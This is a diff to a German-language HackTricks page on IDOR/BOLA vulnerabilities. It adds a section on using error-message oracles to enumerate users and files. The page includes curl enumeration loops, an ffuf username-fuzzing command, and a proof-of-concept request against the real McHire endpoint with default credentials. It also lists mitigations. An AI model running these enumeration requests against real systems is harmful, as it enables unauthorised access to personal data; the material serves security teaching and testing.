+- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)

 {{#include ../banners/hacktricks-training.md}}
--- a/src/pentesting-web/idor.md
+++ b/src/pentesting-web/idor.md
@ -2,20 +2,21 @@

 {{#include ../banners/hacktricks-training.md}}

-IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt einen vom Benutzer steuerbaren Bezeichner offenlegt oder akzeptiert, der **direkt** verwendet wird, um auf ein internes Objekt zuzugreifen, **ohne zu überprüfen, ob der Anrufer berechtigt ist**, auf dieses Objekt zuzugreifen/zu ändern. Erfolgreiche Ausnutzung ermöglicht normalerweise eine horizontale oder vertikale Privilegieneskalation, wie das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall die vollständige Übernahme des Kontos oder die Massen-Datenexfiltration.
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt einen vom Benutzer kontrollierbaren Identifikator offenlegt oder akzeptiert, der **direkt** verwendet wird, um auf ein internes Objekt zuzugreifen, **ohne zu prüfen, ob der Aufrufer berechtigt** ist, auf dieses Objekt zuzugreifen/es zu ändern.
+Eine erfolgreiche Ausnutzung ermöglicht normalerweise horizontale oder vertikale Privilegieneskalation, wie z. B. das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall die vollständige Übernahme von Konten oder massenhafte Datenexfiltration.

 ---
 ## 1. Identifizierung potenzieller IDORs

-1. Suchen Sie nach **Parametern, die auf ein Objekt verweisen**:
+1. Achten Sie auf **Parameter, die auf ein Objekt verweisen**:
 * Pfad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
 * Abfrage: `?id=42`, `?invoice=2024-00001`
 * Body / JSON: `{"user_id": 321, "order_id": 987}`
 * Header / Cookies: `X-Client-ID: 4711`
-2. Bevorzugen Sie Endpunkte, die **Daten lesen oder aktualisieren** (`GET`, `PUT`, `PATCH`, `DELETE`).
-3. Beachten Sie, wenn Bezeichner **sequentiell oder vorhersehbar** sind – wenn Ihre ID `64185742` ist, dann existiert wahrscheinlich `64185741`.
-4. Erkunden Sie versteckte oder alternative Flüsse (z. B. *"Paradox-Teammitglieder"* Link auf Anmeldeseiten), die zusätzliche APIs offenlegen könnten.
-5. Verwenden Sie eine **authentifizierte Sitzung mit niedrigen Rechten** und ändern Sie nur die ID, **während Sie dasselbe Token/Cookie beibehalten**. Das Fehlen eines Autorisierungsfehlers ist normalerweise ein Zeichen für IDOR.
+2. Bevorzugen Sie Endpunkte, die Daten **lesen oder aktualisieren** (`GET`, `PUT`, `PATCH`, `DELETE`).
+3. Achten Sie darauf, ob Identifikatoren **sequenziell oder vorhersehbar** sind – wenn Ihre ID `64185742` ist, existiert wahrscheinlich `64185741`.
+4. Untersuchen Sie versteckte oder alternative Flows (z. B. *"Paradox team members"* Link auf Login-Seiten), die zusätzliche APIs offenlegen könnten.
+5. Verwenden Sie eine **authentifizierte Session mit niedrigen Rechten** und ändern Sie nur die ID, während Sie **denselben Token/Cookie** beibehalten. Das Ausbleiben eines Autorisierungsfehlers ist gewöhnlich ein Anzeichen für einen IDOR.

 ### Schnelles manuelles Manipulieren (Burp Repeater)
 ```
@ -26,7 +27,7 @@ Content-Type: application/json

 {"lead_id":64185741}
 ```
-### Automatisierte Enumeration (Burp Intruder / curl Schleife)
+### Automatisierte enumeration (Burp Intruder / curl loop)
 ```bash
 for id in $(seq 64185742 64185700); do
 curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,15 +37,34 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
 done
 ```
 ---
-## 2. Fallstudie aus der Praxis – McHire Chatbot-Plattform (2025)

-Während einer Bewertung des von Paradox.ai betriebenen **McHire** Rekrutierungsportals wurde das folgende IDOR entdeckt:
+### Error-response oracle for user/file enumeration
+
+Wenn ein Download-Endpunkt sowohl einen Benutzernamen als auch einen Dateinamen akzeptiert (z. B. `/view.php?username=<u>&file=<f>`), erzeugen subtile Unterschiede in Fehlermeldungen oft ein Oracle:
+
+- Nicht existierender username → "User not found"
+- Ungültiger filename, aber gültige Extension → "File does not exist" (listet manchmal auch verfügbare Dateien auf)
+- Ungültige Extension → Validierungsfehler
+
+Mit einer authentifizierten Sitzung kannst du den username-Parameter mit Fuzzing testen, während du einen harmlosen Dateinamen angibst, und nach der Zeichenfolge "User not found" filtern, um gültige Benutzer zu entdecken:
+```bash
+ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
+-b 'PHPSESSID=<session-cookie>' \
+-w /opt/SecLists/Usernames/Names/names.txt \
+-fr 'User not found'
+```
+Sobald gültige Benutzernamen identifiziert sind, fordere spezifische Dateien direkt an (z. B. `/view.php?username=amanda&file=privacy.odt`). Dieses Muster führt häufig zur unbefugten Offenlegung von Dokumenten anderer Benutzer und zum Leak von Zugangsdaten.
+
+---
+## 2. Fallstudie aus der Praxis – McHire Chatbot Platform (2025)
+
+Während einer Bewertung des Paradox.ai-gestützten **McHire** Recruitment-Portals wurde die folgende IDOR entdeckt:

 * Endpunkt: `PUT /api/lead/cem-xhr`
-* Autorisierung: Benutzer-Sitzungscookie für **jedes** Restaurant-Testkonto
-* Body-Parameter: `{"lead_id": N}` – 8-stellige, **sequentielle** numerische Kennung
+* Authorisierung: Session-Cookie eines Benutzers für **jedes** Restaurant-Testkonto
+* Body-Parameter: `{"lead_id": N}` – 8-stellig, **sequentiell** numerischer Identifier

-Durch das Verringern von `lead_id` konnte der Tester beliebige Bewerberdaten **vollständige PII** (Name, E-Mail, Telefon, Adresse, Schichtpräferenzen) sowie ein Verbraucher-**JWT** abrufen, das Session-Hijacking ermöglichte. Die Enumeration des Bereichs `1 – 64.185.742` legte ungefähr **64 Millionen** Datensätze offen.
+Durch Verringern der `lead_id` konnte der Tester beliebige Bewerber vollständige **PII** (Name, e-mail, phone, address, shift preferences) abrufen sowie ein Consumer **JWT**, das Session-Hijacking ermöglichte. Die Enumeration des Bereichs `1 – 64,185,742` legte ungefähr **64 Millionen** Datensätze offen.

 Proof-of-Concept-Anfrage:
 ```bash
@ -52,32 +72,35 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 -H 'Content-Type: application/json' \
 -d '{"lead_id":64185741}'
 ```
-Kombiniert mit **Standard-Admin-Anmeldeinformationen** (`123456:123456`), die Zugriff auf das Testkonto gewährten, führte die Schwachstelle zu einem kritischen, unternehmensweiten Datenleck.
+Kombiniert mit **default admin credentials** (`123456:123456`), die Zugriff auf das Testkonto gewährten, führte die Schwachstelle zu einer kritischen, unternehmensweiten Datenpanne.

 ---
 ## 3. Auswirkungen von IDOR / BOLA
-* Horizontale Eskalation – Lesen/Aktualisieren/Löschen von **Daten anderer Benutzer**.
-* Vertikale Eskalation – Niedrig privilegierter Benutzer erhält nur für Admins verfügbare Funktionen.
-* Massen-Datenleck, wenn Identifikatoren sequenziell sind (z. B. Bewerber-IDs, Rechnungen).
-* Kontoübernahme durch Stehlen von Tokens oder Zurücksetzen von Passwörtern anderer Benutzer.
+* Horizontale Eskalation – Lesen/Ändern/Löschen von **Daten anderer Benutzer**.
+* Vertikale Eskalation – ein niedrig privilegierter Benutzer erhält admin-exklusive Funktionalität.
+* Massen-Datenpanne, wenn Identifikatoren sequenziell sind (z. B. applicant IDs, invoices).
+* Account-Übernahme durch Stehlen von tokens oder Zurücksetzen der Passwörter anderer Benutzer.

 ---
-## 4. Minderung & Best Practices
-1. **Durchsetzung der objektbezogenen Autorisierung** bei jeder Anfrage (`user_id == session.user`).
-2. Bevorzugen Sie **indirekte, unratbare Identifikatoren** (UUIDv4, ULID) anstelle von Auto-Increment-IDs.
-3. Führen Sie die Autorisierung **serverseitig** durch, verlassen Sie sich niemals auf versteckte Formularfelder oder UI-Steuerelemente.
-4. Implementieren Sie **RBAC / ABAC**-Überprüfungen in einer zentralen Middleware.
-5. Fügen Sie **Ratenbegrenzung & Protokollierung** hinzu, um die Enumeration von IDs zu erkennen.
-6. Sicherheitstest für jeden neuen Endpunkt (Einheit, Integration und DAST).
+## 4. Gegenmaßnahmen & Best Practices
+1. **Objektbasierte Autorisierung** auf jeder Anfrage erzwingen (`user_id == session.user`).
+2. Bevorzuge **indirekte, nicht erratbare Identifikatoren** (UUIDv4, ULID) statt Auto-Increment-IDs.
+3. Autorisierung **serverseitig** durchführen; niemals auf versteckte Formularfelder oder UI-Kontrollen vertrauen.
+4. RBAC / ABAC-Prüfungen in einer zentralen Middleware implementieren.
+5. **Rate-limiting & logging** hinzufügen, um eine Enumeration von IDs zu erkennen.
+6. Jeden neuen Endpoint sichern testen (Unit-, Integrations- und DAST-Tests).

 ---
-## 5. Werkzeuge
-* **BurpSuite-Erweiterungen**: Authorize, Auto Repeater, Turbo Intruder.
+## 5. Tooling
+* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
 * **OWASP ZAP**: Auth Matrix, Forced Browse.
-* **Github-Projekte**: `bwapp-idor-scanner`, `Blindy` (Bulk-IDOR-Jagd).
+* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).

-## Referenzen
-* [McHire Chatbot Platform: Standardanmeldeinformationen und IDOR legen 64 Millionen Bewerber-PII offen](https://ian.sh/mcdonalds)
-* [OWASP Top 10 – Fehlerhafte Zugriffskontrolle](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
-* [Wie man mehr IDORs findet – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
+
+
+## References
+* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
+* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
+* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
+* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
 {{#include ../banners/hacktricks-training.md}}